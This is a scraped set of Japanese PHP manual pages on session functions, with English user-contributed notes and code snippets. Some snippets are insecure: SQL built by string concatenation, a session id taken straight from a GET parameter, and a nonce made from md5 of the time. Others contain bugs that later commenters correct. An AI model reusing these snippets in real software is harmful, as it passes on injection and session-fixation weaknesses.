jeff_zamrzla 10-Feb-2005 03:03
Try this code snippet, from a book by a security expert who says this is more secure to place on every page:

<?php
session_start();
$_SESSION['name'] = "YourSession";

if (!isset($_SESSION['initiated']))
{
    session_regenerate_id();
    $_SESSION['initiated'] = true;
}
?>
karlhaines at comcast dot net 30-Oct-2003 05:05
Rewriting URL's is not suggested for obvious security issues. Please be careful with register_globals when using sessions! Check that all information you recieve from a user is valid before accepting it!
Andi, info at pragmaMx dot org 16-Jan-2003 01:13
you can also add the iframe tag:
ini_set("url_rewriter.tags", "a=href,area=href,frame=src,iframe=src,input=src,form=fakeentry");


変数がセッションに登録されているかどうかを調べる

  • ≪ session_id
  • session_module_name ≫
  • PHP Manual
  • セッション関数
  • 変数がセッションに登録されているかどうかを調べる

session_is_registered

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

session_is_registered — 変数がセッションに登録されているかどうかを調べる

説明

session_is_registered ( string $name ) : bool

グローバル変数がセッションに登録されているかどうかを調べます。

警告

この関数は PHP 5.3.0 で 非推奨となり、 PHP 5.4.0 で削除されました。

パラメータ

name

変数名。

返り値

session_is_registered() は、 name という名前のグローバル変数が現在のセッションに登録されている場合に true、それ以外の場合に false を返します。

注意

注意:

$_SESSION が使用されている場合、ある変数が $_SESSION に登録されているかを確認するために isset() を使用してください。

警告

$_SESSION (もしくは
$HTTP_SESSION_VARS) を使用している場合、
session_register(),
session_is_registered(),
session_unregister() を使用しないでください。

User Contributed Notes

pk at majstar dot com 04-Feb-2015 10:08
There's an error in the comment posted by "someone at the dot inter dot net". Correct replacement for function session_is_registered() in PHP 5.4+ is

function session_is_registered($x) {return isset($_SESSION[$x]);}

so just $x instead of '$x' - single quotation mark won't interpolate the variable $x and the function will always return false.
CertaiN 30-Aug-2014 08:15
If your session variables may have NULL value,  use array_key_exists() instead of isset(). If not, use isset() because it performs better than array_key_exists().
someone at the dot inter dot net 06-Mar-2014 11:48
A simple one-line function to emulate this in later versions of PHP:
function session_is_registered($x){return isset($_SESSION['$x']);}
someone at the dot inter dot net 06-Mar-2014 11:48
A simple one-line function to emulate this in later versions of PHP:
function session_is_registered($x){return isset($_SESSION['$x']);}
Sami 06-Feb-2014 09:56
I can not get the following code to work as it is returning an error on the session_is_registered() and do I have to change anything else in the code

Thank you

if(!session_is_registered('user_name')){

if (isset($_POST['username'])) {
$password1 = clean($_POST["password"]);
$username1 = clean($_POST["username"]);
$password2 = crypt($password1);

$result = @mysql_query ("select * from users where user_name = '".$username1."'");
$lim = @mysql_num_rows( $result );
//|| (strlen($username1) < 6) || (strlen($password1) < 6)
if( ($lim!=0)  ){
$row = @mysql_fetch_array($result);
$password=$row['user_password'];
if (crypt($password1, $password) == $password){
$sql = @mysql_query ("insert into logs (ip, cdate, status) values ('".$REMOTE_ADDR."','". date("Y-m-d H:i:s") ."', 'Login')");
session_register('user_id');
session_register('user_fullname');
session_register('user_name');

$_SESSION['user_name'] = $row['user_name'];
$_SESSION['user_fullname'] = $row['user_fullname'];
$_SESSION['user_id'] = $row['user_id'];
}//if crypt
else{
vectorjohn at example dot com 05-Dec-2013 06:03
The proper equivalent has nothing to do with isset().

Use array_key_exists() because session_is_registered returns true if the variable is in the session at all, even if it's falsy.
paimpozhil at gmail dot com 07-Apr-2013 04:54
For those who have an older application which uses the session_is_registered..and you want to use that in php5.4

You can just define the function if required

function session_is_registered($x)
{
    if (isset($_SESSION['$x']))
    return true;
    else
    return false;
}

May be add the checks to ensure function is not already existing..
amol_bhavsar1982 at hotmail dot com 22-Mar-2009 11:47
session_register() function is generating warnings. Therefore, instead of using:

<?php
$test = 'Here';
session_register('test');
?>

It is better :

<?php
$_SESSION['test'] = 'Here';
?>
miguel dot simoes at swirve dot com 13-Jun-2002 04:27
When using PHP 4.2.0 even on the same page where you registered the variable with:

session_register("someVar");

if you try to see if the variable is set and do not assign it a value before, the function used in the previous comment will give the same output.
 This may show that the variable is declared and will not be set until some value is give assign to it.
 I think that this way will give the option to register all the variables used for sure on the process on the first page and using them as the time comes.


現在のセッションモジュールを取得または設定する

  • ≪ session_is_registered
  • session_name ≫
  • PHP Manual
  • セッション関数
  • 現在のセッションモジュールを取得または設定する

session_module_name

(PHP 4, PHP 5, PHP 7, PHP 8)

session_module_name — 現在のセッションモジュールを取得または設定する

説明

session_module_name ( string|null $module = null ) : string|false

session_module_name()は、 現在のセッションモジュールの名前を返します。 これは session.save_handler としても知られています。

パラメータ

module

module が指定され、null でない場合、 そのモジュールを代わりに使用します。 このパラメーターに "user" を渡すことは禁止されています。 ユーザー定義のセッションハンドラを設定するには、この関数のかわりに session_set_save_handler() 関数 を呼び出さなければなりません。

返り値

現在のセッションモジュールの名前を返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | module は、nullable になりました。
7.2.0 | モジュール名に "user" を設定することは、 明示的に禁止されるようになりました。 これより前のバージョンでは、 "user" を設定しても静かに無視されていました。

User Contributed Notes

Anonymous 21-Apr-2015 10:43
was looking for a rather comprehensive list of modules, and found http://stackoverflow.com/questions/8415962/what-exactly-phps-function-session-module-name-is-for but there are more.
raees at steelbrain dot com dot pk 03-Nov-2014 09:29
This function is used to set the Session Module at site or script level.

The global configuration can be done in php.ini under the [Session] section and with the name of "session.save_handler". The sessions are saved in files by default, like so:
session.save_handler = files

But with this configuration you set one of your websites to use some other session module (if you have them installed and extension loaded with PHP), like so:
<?php

// NOTE: You must use this function before starting session with session_start(); to make it work properly
session_module_name('memcache'); // or pgsql or redis etc

// You'll need to define a save path also, if the module is other than files, like so:
session_save_path('localhost:11211'); // memcache uses port 11211

// or you can use multiple for load balancing:
session_save_path('localhost:11211:41,otherhost:11211:60') // First part is hostname or path to socket, next is port and the last is the weight for that server

//The function also returns the value of the current session module.
echo session_module_name(); // will print memcache in our case

// or maybe a check
if(session_module_name() != 'memcache'){
  // Do something, throw an exception maybe
}


現在のセッション名を取得または設定する

  • ≪ session_module_name
  • session_regenerate_id ≫
  • PHP Manual
  • セッション関数
  • 現在のセッション名を取得または設定する

session_name

(PHP 4, PHP 5, PHP 7, PHP 8)

session_name — 現在のセッション名を取得または設定する

説明

session_name ( string|null $name = null ) : string|false

session_name() は、現在のセッション名を返します。 name を渡すと、 session_name() はセッション名を上書きして 元の セッション名を返します。

新しいセッションの name が与えられると、 session_name() 関数は HTTPクッキー を 変更します(そして、session.transid が有効なときは、出力内容も変更します)。 HTTPクッキー が一度送信されると、 session_name() 関数はエラーになります。 session_name() 関数は、 セッションを適切に動作させるためには、 session_start() の前に呼び出さなければなりません。

リクエストが開始された際にセッション名はリセットされ、 session.name に保存されたデフォルト値に戻ります。 よって、各リクエスト毎に(そして session_start() をコールする前に) session_name() をコールする必要があります。

パラメータ

name

セッションの名前を参照します。これは、クッキーや URL (例: PHPSESSID) で使われます。 セッション名は英数字のみで構成されている必要があり、また、 短く、その内容が分かるようなものである必要があります (これは、クッキー警告を有効にしているユーザー用です)。 name が指定され、null でない場合、 現在のセッションの名前が、指定された値に置き換えられます。

警告

セッション名は数字だけで構成することはできません。 少なくとも文字がひとつ以上現れる必要があります。そうでない場合、 新規セッション ID が毎回生成されます。

返り値

現在のセッションの名前を返します。 name を渡すと、 session_name() はセッション名を上書きして 元のセッション名を返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
7.2.0 | name は、nullable になりました。
7.2.0 | session_name() 関数は、 セッションの状態をチェックするようになりました。 これより前のバージョンでは、 クッキー の状態をチェックするだけでした。 そのため、古い session_name() 関数は session_start() 関数の後に session_name() 関数をを呼び出すことを許して しまっており、それが PHP のクラッシュや不具合を起こす可能性がありました。

例

例1 session_name() の例

<?php

/* セッション名をWebsiteIDに設定する */

$previous_name = session_name("WebsiteID");

echo "前回のセッション名は $previous_name でした<br />";
?>

参考

  • 設定ディレクティブ session.name

User Contributed Notes

mmulej at gmail dot com 16-Feb-2021 09:29
Hope this is not out of php.net noting scope.

session_name('name') must be set before session_start() because the former changes ini settings and the latter reads them. For the same reason session_set_cookie_params($options) must be set before session_start() as well.

I find it best to do the following.

function is_session_started()
{
    if (php_sapi_name() === 'cli')
        return false;

    if (version_compare(phpversion(), '5.4.0', '>='))
        return session_status() === PHP_SESSION_ACTIVE;

    return session_id() !== '';
}
if (!is_session_started()) {
    session_name($session_name);
    session_set_cookie_params($cookie_options);
    session_start();
}
tony at marston-home dot demon dot co dot uk 10-Jun-2018 03:54
The description has recently been modified to contain the statement "When new session name is supplied, session_name() modifies HTTP cookie". This is not correct as session_name() has never modified any cookie data. A change in session.name does not become effective until session_start() is called, and it is session_start() that creates the cookie if it does not already exist.

See the following bug report for details: https://bugs.php.net/bug.php?id=76413
tony at marston-home dot demon dot co dot uk 04-Jun-2018 01:12
The description that session_name() gets and/or sets the name of the current session is technically wrong. It does nothing but deal with the value originally supplied by the session.name value within the php.ini file.

Thus:-
$name = session_name();
is functionally equivalent to
$name = ini_get('session.name');
and
session_name('newname);
is functionally equivalent to
ini_set('session.name','newname');

This also means that:
$old_name = session_name('newname');
is functionally equivalent to
$old_name = ini_set('session.name','newname');

The current value of session.name is not attached to a session until session_start() is called. Once session_start() has used session.name to lookup the session_id() in the cookie data the name becomes irrelevant as all further operations on the session data are keyed by the session_id().

Note that changing session.name while a session is currently active will not update the name in any session cookie. The new name does not take effect until the next call to session_start(), and this requires that the current session, which was created with the previous value for session.name, be closed.
Victor H 27-Sep-2015 06:14
As  Joseph Dalrymple said, adding session_name do slow down a little bit the execution time.
But, what i've observed is that it decreased the fluctuation between requests.
Requests on my script fluctuated between 0,045 and 0,022 seconds. With session_name("myapp"), it goes to 0,050 and 0,045. Not a big deal, but that's a point to note.

For those with problems setting the name, when session.auto_start is set to 1, you need to set the session.name on php.ini!
Joseph Dalrymple 14-Apr-2011 11:52
For those wondering, this function is expensive!

On a script that was executing in a consistent 0.0025 seconds, just the use of session_name("foo") shot my execution time up to ~0.09s. By simply sacrificing session_name("foo"), I sped my script up by roughly 0.09 seconds.
relsqui at chiliahedron dot com 20-Feb-2009 11:07
Remember, kids--you MUST use session_name() first if you want to use session_set_cookie_params() to, say, change the session timeout. Otherwise it won't work, won't give any error, and nothing in the documentation (that I've seen, anyway) will explain why.

Thanks to brandan of bildungsroman.com who left a note under session_set_cookie_params() explaining this or I'd probably still be throwing my hands up about it.
php at wiz dot cx 27-Sep-2008 08:36
if you try to name a php session "example.com" it gets converted to "example_com" and everything breaks.

don't use a period in your session name.
slave at codegrunt dot com 22-Dec-2004 02:03
One gotcha I have noticed with session_name is that it will trigger a WARNING level error if the cookie or GET/POST variable value has something other than alphanumeric characters in it.  If your site displays warnings and uses PHP sessions this may be a way to enumerate at least some of your scripts:

http://example.com/foo.php?session_name_here=(bad)

Warning: session_start(): The session id contains invalid characters, valid characters are only a-z, A-Z and 0-9 in /some/path/foo.php on line 666

I did not see anything in the docs suggesting that one had to sanitize the PHP session ID values before opening the session but that appears to be the case.

Unfortunately session_name() always returns true so you have to actually get to the point of assigning variables values before you know whether you have been passed bad session data (as far as I can see).  After the error has been generated in other words.

Cheers
Hongliang Qiang 27-May-2004 01:48
This may sound no-brainer: the session_name() function will have no essential effect if you set session.auto_start to "true" in php.ini . And the obvious explanation is the session already started thus cannot be altered before the session_name() function--wherever it is in the script--is executed, same reason session_name needs to be called before session_start() as documented.

I know it is really not a big deal. But I had a quite hard time before figuring this out, and hope it might be helpful to someone like me.


現在のセッションIDを新しく生成したものと置き換える

  • ≪ session_name
  • session_register_shutdown ≫
  • PHP Manual
  • セッション関数
  • 現在のセッションIDを新しく生成したものと置き換える

session_regenerate_id

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

session_regenerate_id — 現在のセッションIDを新しく生成したものと置き換える

説明

session_regenerate_id ( bool $delete_old_session = false ) : bool

session_regenerate_id() は現在のセッションIDを 新しいものと置き換えます。その際、現在のセッション情報は維持されます。

session.use_trans_sid が有効な場合は、 session_regenerate_id() を呼んでから出力を始めないといけません。 それ以前の出力には、古いセッション ID が使われます。

警告

現在の session_regenerate_id は、不安定なネットワークをうまく扱えません。 たとえば、モバイルネットワークや WiFi ネットワークです。 よって、 session_regenerate_id を 呼ぶことで、セッションの消失を経験するかもしれません。

すぐに古いセッションデータを破棄すべきではありませんが、 古いセッションID のタイムスタンプと、 アクセス制御は破棄すべきでしょう。 さもないと、ページへの同時アクセスによって、 状態の不整合が発生したり、セッションが失われたり、 クライアント(ブラウザ) 側のレースコンディションが発生したり、 不必要なセッションIDをたくさん作らなければならなくなるかもしれません。 セッションデータをすぐに破棄してしまうと、 セッションハイジャックの検出だけでなく、 防止もできなくしてしまいます。

パラメータ

delete_old_session

関連付けられた古いセッションを削除するかどうか。 削除による競合を防いだり、セッションハイジャックを 検出/防ぐ 必要がある場合には、古いセッションを削除すべきではありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 session_regenerate_id() の使用例

<?php
// 注意: このコードは完全に動作するわけではありません。一例です！

session_start();

// 破棄されたタイムスタンプをチェック
if (isset($_SESSION['destroyed'])
    && $_SESSION['destroyed'] < time() - 300) {
    // 通常は起こるべきではない。攻撃や不安定なネットワークによる可能性がある
    // このユーザーのセッションから、全ての認証ステータスを削除
    remove_all_authentication_flag_from_active_sessions($_SESSION['userid']);
    throw(new DestroyedSessionAccessException);
}

$old_sessionid = session_id();

// 破棄されたタイムスタンプを設定
$_SESSION['destroyed'] = time(); // PHP 7.0.0 以降では、session_regenerate_id() は古いセッションデータを保存します。

// 単に session_regenerate_id() を呼ぶだけでは、セッションの消失などに繋がる可能性があります。
// 次の例を見てください。
session_regenerate_id();

// 新しいセッションには、破棄されたタイムスタンプは不要
unset($_SESSION['destroyed']);

$new_sessionid = session_id();

echo "古いセッション: $old_sessionid<br />";
echo "新しいセッション: $new_sessionid<br />";

print_r($_SESSION);
?>

現在のセッションモジュールは、不安定なネットワークをうまく扱えません。 session_regenerate_id によるセッションの消失を避けるために、 セッションIDを管理すべきです。

例2 session_regenerate_id() による、セッションの消失を避ける

<?php
// 注意: このコードは完全に動作するわけではありません。一例です！
//  my_session_start() and my_session_regenerate_id() によって、
//  不安定なネットワークによるセッションの消失を避けています。
//  それに加えて、このコードは攻撃者から、盗まれたセッションを利用した
//  攻撃を防ぐ可能性もあります。

function my_session_start() {
    session_start();
    if (isset($_SESSION['destroyed'])) {
       if ($_SESSION['destroyed'] < time()-300) {
           // 通常は起こるべきではない。攻撃や不安定なネットワークによる可能性がある
           // このユーザーのセッションから、全ての認証ステータスを削除
           remove_all_authentication_flag_from_active_sessions($_SESSION['userid']);
           throw(new DestroyedSessionAccessException);
       }
       if (isset($_SESSION['new_session_id'])) {
           // 完全に expire してはいない。
           // Cookie が不安定なネットワークによって失われた可能性がある。
           // 適切なセッションIDのクッキーを設定するためにリトライする。
           // 注意: 認証フラグを削除したい場合は、セッションIDを再度設定しようとしてはいけない。
           session_commit();
           session_id($_SESSION['new_session_id']);
           // 新しいセッションIDが存在しているはず
           session_start();
           return;
       }
   }
}

function my_session_regenerate_id() {
    // 不安定なネットワークのために、セッションID が設定されなかったときは、
    // 新しいセッションID が、適切なセッションIDに設定されることが必須。
    $new_session_id = session_create_id();
    $_SESSION['new_session_id'] = $new_session_id;

    // 破棄された時のタイムスタンプを設定
    $_SESSION['destroyed'] = time();

    // 現在のセッションを書き込んで閉じる
    session_commit();

    // 新しいセッションを新しいセッションIDで開始
    session_id($new_session_id);
    ini_set('session.use_strict_mode', 0);
    session_start();
    ini_set('session.use_strict_mode', 1);

    // 新しいセッションには、以下の情報は不要
    unset($_SESSION['destroyed']);
    unset($_SESSION['new_session_id']);
}
?>

参考

  • session_id() - 現在のセッション ID を取得または設定する
  • session_create_id() - 新しいセッションIDを作成する
  • session_start() - 新しいセッションを開始、あるいは既存のセッションを再開する
  • session_destroy() - セッションに登録されたデータを全て破棄する
  • session_reset() - session 配列を元の値で再初期化します
  • session_name() - 現在のセッション名を取得または設定する

User Contributed Notes

Alamin 28-Jun-2018 02:26
In the second example provided by php.net, should it call my_session_start inside the session regenerate method instead of directly calling session_start? I think it is an error.
mikebranttx at gmail dot com 17-May-2017 03:10
Note that in current PHP 7.2 nightly builds example #2 above will not work as shown.  You will get following error upon trying to turn strict mode back on after session_start():

"ini_set(): A session is active. You cannot change the session module's ini settings at this time"

I suppose this means that for any session where you perform session ID regeneration or session ID forwarding (from a session for which a recent session ID regeneration was performed to the new session ID). That you will just have to live with strict mode being disabled for the remainder of that active session.

I don't know that this is really a security concern so long as you are following a single-session per request design (i.e. you are not working with multiple concurrent sessions).
k-gun !! mail 08-Jan-2017 11:27
Document example is wrong with usage of "session.use_strict_mode" according to RFC (says: "warning error for session_id() when use_strice_mode=1" on https://wiki.php.net/rfc/strict_sessions).

So, this directive affects "session_id()" not "session_start()". So usage must be like this;

<?php
// first set ini
ini_set('session.use_strict_mode', '0');
// and
session_id($sid);

// then
// maybe run this: ini_restore('session.use_strict_mode');

// then go on...
?>

Refs (ctrl+f & use_strict_mode);
https://wiki.php.net/rfc/strict_sessions
https://wiki.php.net/rfc/session-create-id
http://php.net/manual/en/function.session-id.php#119997
ei dot rik dot ops dot tad at gmail dot com 02-Jun-2016 10:11
In PHP 5.6 (and probably older versions), session_regenerate_id(true) do not trigger a read() call to the session handler for the new session id.

In PHP 7, read() is triggered during session_regenerate_id(true). Nice to know when working with custom session handlers.
tedivm at tedivm dot com 17-Jan-2016 08:37
I wrote the current top voted comment on this and wanted to add something. The existing code from my previous comment generates it's nonces in an insecure way-

<?php
$_SESSION['nonce'] = md5(microtime(true));
?>

Since "microtime" is predictable it makes brute forcing the nonce much easier. A better option would be something that utilizes randomness, such as-

<?php
bin2hex(openssl_random_pseudo_bytes(32))
?>
kgm_india at yahoo dot co dot in 25-Nov-2013 11:40
as far as I have understood reading this online notes,

session_name() is the name which is identified as session a through the cookies or http links.

session_id is  like a transaction within a session_name() and one session_name may have many session_id

each session_id has the corresponding data stored.

session_id are used in read and write callback under a session_name

whatever it is, first call the
 session_name(),
then call session_id ()
and then call start_session()

start_session will open the session_name, then check the session_id called before and use it in the read or write call back for storing or retrieving data

calling start_session() without session_name or session_id will use the default session_name and the default session_id in that order

I hope if the order is followed there should not be any problems.

do not call session_name or session_id after start_session(), if you are specific on using them.

thank you for others note.
spmtrap at yahoo dot com 31-Jan-2012 02:48
`session_regenerate_id` sends a new cookie but doesn't overwrite the value stored in `$_COOKIE`. After calling `session_destroy`, the open session ID is discarded, so simply restarting the session with `session_start` (as done in Ben Johnson's code) will re-open the original, though now empty, session for the current request (subsequent requests will use the new session ID). Instead of `session_destroy`+`session_start`, use the `$delete_old_session` parameter to `session_regenerate_id` to delete the previous session data.

<?php
session_start();
/* Create a new session, deleting the previous session data. */
session_regenerate_id(TRUE);
/* erase data carried over from previous session */
$_SESSION=array();
?>

To start a new session and leave the old untouched, simply leave out the argument to `session_regenerate_id`.
gr at gr5 dot org 30-Aug-2011 06:57
If you are trying to maintain 2 active sessions don't use session_regenerate_id().  Especially if the first session is closed and it's time to open the second.  Because the session id is cached you also have to explicitly set it the second time.

<?php
session_name('PHPSESSID'); // redundant - here for clarity
session_start();
// ...do stuff
session_write_close();

// now switch to session 2...
session_name('PHPSESSID_2');
if (isset($_COOKIE['phpsessid_2']))
    session_id($_COOKIE['phpsessid_2']); // not doing this will simply reopen the first session again
else
    session_id(sha1(mt_rand()); // dont use session_regenerate_id() here.  Not creating a new id will create two cookies with same session id and same session variables
session_start();
// ... do stuff with session 2
session_write_close();
?>
Ben Johnson 04-Oct-2010 06:50
To "start a new session", try the following:

<?php
session_start();
session_regenerate_id();
session_destroy();
unset($_SESSION);
session_start();
?>
raido dot aasoja at gmail dot com 26-Sep-2010 11:28
A note on lost sessions and trying to fix it with session_regenerate_id:
Make sure that you're not trying to push SimpleXML object to the session. It just won't go without first converting it to array. :)
tedivm at tedivm dot com 29-Dec-2008 06:36
I wrote the following code for a project I'm working on- it attempts to resolve the regenerate issue, as well as deal with a couple of other session related things.

I tried to make it a little more generic and usable (for instance, in the full version it throws different types of exceptions for the different types of session issues), so hopefully someone might find it useful.

<?php
function regenerateSession($reload = false)
{
    // This token is used by forms to prevent cross site forgery attempts
    if(!isset($_SESSION['nonce']) || $reload)
        $_SESSION['nonce'] = md5(microtime(true));

    if(!isset($_SESSION['IPaddress']) || $reload)
        $_SESSION['IPaddress'] = $_SERVER['REMOTE_ADDR'];

    if(!isset($_SESSION['userAgent']) || $reload)
        $_SESSION['userAgent'] = $_SERVER['HTTP_USER_AGENT'];

    //$_SESSION['user_id'] = $this->user->getId();

    // Set current session to expire in 1 minute
    $_SESSION['OBSOLETE'] = true;
    $_SESSION['EXPIRES'] = time() + 60;

    // Create new session without destroying the old one
    session_regenerate_id(false);

    // Grab current session ID and close both sessions to allow other scripts to use them
    $newSession = session_id();
    session_write_close();

    // Set session ID to the new one, and start it back up again
    session_id($newSession);
    session_start();

    // Don't want this one to expire
    unset($_SESSION['OBSOLETE']);
    unset($_SESSION['EXPIRES']);
}

function checkSession()
{
    try{
        if($_SESSION['OBSOLETE'] && ($_SESSION['EXPIRES'] < time()))
            throw new Exception('Attempt to use expired session.');

        if(!is_numeric($_SESSION['user_id']))
            throw new Exception('No session started.');

        if($_SESSION['IPaddress'] != $_SERVER['REMOTE_ADDR'])
            throw new Exception('IP Address mixmatch (possible session hijacking attempt).');

        if($_SESSION['userAgent'] != $_SERVER['HTTP_USER_AGENT'])
            throw new Exception('Useragent mixmatch (possible session hijacking attempt).');

        if(!$this->loadUser($_SESSION['user_id']))
            throw new Exception('Attempted to log in user that does not exist with ID: ' . $_SESSION['user_id']);

        if(!$_SESSION['OBSOLETE'] && mt_rand(1, 100) == 1)
        {
            $this->regenerateSession();
        }

        return true;

    }catch(Exception $e){
        return false;
    }
}

?>
soapergem at gmail dot com 29-Aug-2008 03:50
This can be a very dangerous function if you're not careful about how you handle things, because even though it generates a whole new set of session data, it keeps the old data "open" until the script terminates, locking out any other scripts trying to run concurrently with the old session id.

Recently I came across a situation where I wanted to explicitly pass in a session ID, copy the data from that session into a *new* session, and then continue operating under that new session, thereby allowing other scripts to use the old one concurrently. But I quickly found that these "other scripts" would not execute until the first script finished--even though it had already started a new session--because it kept the old session open.

So if you're trying to copy over session data to a new session to free up the old session for continued, concurrent use, here's some code to ensure nobody's feet get stepped on:

<?php

//  get session id of an existing session
$sid = $_GET['sid'];

//  start the old session to retrieve $_SESSION data
session_id($sid);
session_start();

//  start a new session; this copies the $_SESSION data over
session_regenerate_id();

//  hang on to the new session id
$sid = session_id();

//  close the old and new sessions
session_write_close();

//  re-open the new session
session_id($sid);
session_start();

/* main code here */

?>

This could probably be encapsulated into a function with one parameter as well to save space if it was a repeated thing.
primenetworkzx at gmail dot com 14-Jun-2008 11:40
If you are storing your session data in a database you have to manually update the session_id in the database. The session_set_save_handler() will not do it for you.

function UpdateSessID() {
    $old_sess_id = session_id();
    session_regenerate_id(false);
    $new_sess_id = session_id();

    $query = "UPDATE `session_table` SET `session_id` = '$new_sess_id' WHERE session_id = '$old_sess_id'";
        mysql_query($query);
}

Be sure to set session_regenerate_id() to FALSE since it's not really necessary to delete the whole record from MySQL and add it again. That's unnecessary overhead. Only changing the id matters.
sopel 19-Sep-2005 05:32
for php 5.1> user probably worth visiting is http://ilia.ws/archives/47-session_regenerate_id-Improvement.html
dyer85 at gmail dot com 24-Aug-2005 10:59
There could be a potential problem with elger at NOSPAM dot yellowbee dot nl's a few posts below. In the code, was used the REQUEST_URI server variable, which, in some cases might already contain the query string. Therefore, always apending '?whatever=foo' would occasionally cause the script to malfunction. I suggest using PHP_SELF, which will not contain the query string after the file.
Nicolas dot Chachereau at Infomaniak dot ch 02-Jun-2005 11:40
Session_destroy() does not only destroy the data associated with the current session_id (i.e. the file if you use the default session save handler), but also the session itself: if you call session_destroy() and then session_regenerate_id(), it will return false, and session_id() won't return anything. In order to manipulate a session after destroying it, you need to restart it.

So in fact, the code mentionned by chris won't work. If you want to destroy the file associated with the old session_id, try the following:
<?php
session_start();
$old_sessid = session_id();
session_regenerate_id();
$new_sessid = session_id();
session_id($old_sessid);
session_destroy();

//If you don't copy the $_SESSION array, you won't be able to use the data associated with the old session id.
$old_session = $_SESSION;
session_id($new_sessid);
session_start();
$_SESSION = $old_session;
//...
?>

Note: this technique will send 3 Set-Cookie headers (one on each session_start() and one on session_regenerate_id()). I don't think this is a problem, but if it appears to be one, you could either leave it alone and wait for the garbage collector to catch the file associated with the old session, or try to delete the file with unlink().
chris at knowledge dot tee-vee 16-Jan-2005 05:51
licp - no, session_regenerate_id() does not destroy any saved session data.

elger, I prefer the following order

[code]
// populate $_SESSION with any previously saved session data for the current session_id
session_start();
...
// delete any saved data associated with current session_id, $_SESSION is not changed
session_destroy();

// change session_id, $_SESSION not altered
session_regenerate_id();
...
// save any $_SESSION data under the current session_id
session_close();
[/code]
licp at hotmail dot com 06-Jan-2005 08:07
By inspecting the source code, I am not sure that after session_regenerate_id() run, the original session data does not destroy (still keeps at the system) that sniffers still hijack by applying original session identifier.

In addition, I find that if user-level session storage handler is used. session_regenerate_id() does not work.
php at cny dot de 20-Dec-2004 09:08
Also note that REMOTE_ADDR may change on every request if the user comes through a proxy farm. Most AOL-users do.
ross at kndr dot org 15-Nov-2004 03:41
In a previous note, php at 5mm de describes how to prevent session hijacking by
ensuring that the session id provided matches the HTTP_USER_AGENT and REMOTE_ADDR fields that were present when the session id was first issued.  It should be noted that HTTP_USER_AGENT is supplied by the client, and so can be easily modified by a malicious user.  Also, the client IP addresses can be spoofed, although that's a bit more difficult.  Care should be taken when relying on the session for authentication.
elger at NOSPAM dot yellowbee dot nl 28-Oct-2004 02:10
Take good notice of the new cookie being sent on calling session_regenerate_id on cookie-enabled sessions.
Make sure your page is reloaded otherwise you'll get an "session_destroy(): Session object destruction failed" error. So here are the examples:

Wrong:
<?php
    session_start();
    session_regenerate_id();
    session_destroy();
?>

Correct-like:
<?php
if (!$_GET['mode']){
    session_start();
    session_regenerate_id();
    header('location: '.$_SERVER['REQUEST_URI'].'?mode=destroy');
} else {
    session_start();
    session_destroy();
}
?>

I noted this because googleing on the previous mentioned error leads to all kinds of bug reports, but not to the solution. (which is, of course, to read the manual)
babel at nosqamplease sympatico ca 22-Feb-2004 08:48
To add to php at 5mm de's comments:

If the session is held over https, it's even better to save the client's cert or ssl session id instead of the hostname or ip, as it's proxy-transparent and more secure.
php at 5mm de 05-Sep-2003 06:01
This feature seems to create a new session ID without clearing the old session data. This is a very important feature for security validation:

$usedns = TRUE; // for eliminating failture by proxys using IP chains, but slower

$useragent = getenv("HTTP_USER_AGENT");
$host = getenv("REMOTE_ADDR");
$dns = $global['dns'] ? @gethostbyaddr($host):$host;

session_start();

if(session_is_registered('securitycheck')) {
    if(
            (($_SESSION['session']['host'] != $this->host) && !$usedns)
         || ($_SESSION['session']['dns'] != $this->dns)
         || ($_SESSION['session']['useragent'] != $this->useragent)
    ) {
        session_regenerate_id();
        session_unset();
    }
} else {
    $currentdata = array();
    $currentdata['host'] = $this->host;
    $currentdata['dns'] = $this->dns;
    $currentdata['useragent'] = $this->useragent;

    session_register('securitycheck', $currentdata);
}

If sombody steals an active SID (e.g. by referrer or injection attack), he can?t be validated because of either the host / dns or useragent and will get a new (empty) SID, without interrupting the original session.

Please mail me for any comments: php at 5mm de
madsen at sjovedyr.dk 27-Aug-2003 07:26
I had problems with a proxy changing a visitors session_id-cookie, so he'd get a LOT of errors when visiting my site.
I handled the bogus session-id's like this. (Note: It only works in versions > 4.3.2.)

<?php
// Start a session and suppress error-messages.
@session_start();

// Catch bogus session-id's.
if (!preg_match("/^[0-9a-z]*$/i", session_id())) {

    // Output a warning about the messed up session-id.
    $error->handleError("WARN", "Your session id is messed up, you might not be able to use some features on this site.");

    // Generate a fresh session-id.
    session_regenerate_id();
}

// Site contents.
?>

Hope someone can use it.


セッションのシャットダウン関数

  • ≪ session_regenerate_id
  • session_reset ≫
  • PHP Manual
  • セッション関数
  • セッションのシャットダウン関数

session_register_shutdown

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

session_register_shutdown — セッションのシャットダウン関数

説明

session_register_shutdown ( ) : void

session_write_close() をシャットダウン関数として登録します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

エラー / 例外

シャットダウン関数の登録に失敗した場合に E_WARNING が発生します。

User Contributed Notes

There are no user contributed notes for this page.


session 配列を元の値で再初期化します

  • ≪ session_register_shutdown
  • session_save_path ≫
  • PHP Manual
  • セッション関数
  • session 配列を元の値で再初期化します

session_reset

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

session_reset — session 配列を元の値で再初期化します

説明

session_reset ( ) : bool

session_reset() は、セッション・ストレージに保存されていた元の値でセッションを再初期化します。 この関数は、アクティブなセッションを必要とし、$_SESSION 内の変更を破棄します。

返り値

値を返しません。

変更履歴

バージョン | 説明
7.2.0 | この関数の返り値の型は bool になりました。 以前は void でした。

参考

  • $_SESSION
  • session.auto_start 構成ディレクティブ
  • session_start() - 新しいセッションを開始、あるいは既存のセッションを再開する
  • session_abort() - session 配列の変更を破棄してセッションを終了します
  • session_commit() - session_write_close のエイリアス

User Contributed Notes

parsa dot mhn at outlook dot com 02-Sep-2015 08:14
First of all you should execute this code :
<?php
    session_start();
    $_SESSION["A"] = "Some Value";
?>

then you should execute this one :

<?php
    start_session();
    $_SESSION["A"] = "Some New Value";  // set new value

    session_reset();  // old session value restored
    echo $_SESSION["A"];

    //Output: Some Value
?>

That is because session_reset() is rolling back changes to the last saved session data, which is their values right after the session_start().
vijay dot mits at gmail dot com 21-Apr-2015 09:12
first create a session variable

<?php
    session_start();
    $_SESSION["A"] = "Some Value";
    echo $_SESSION["A"];

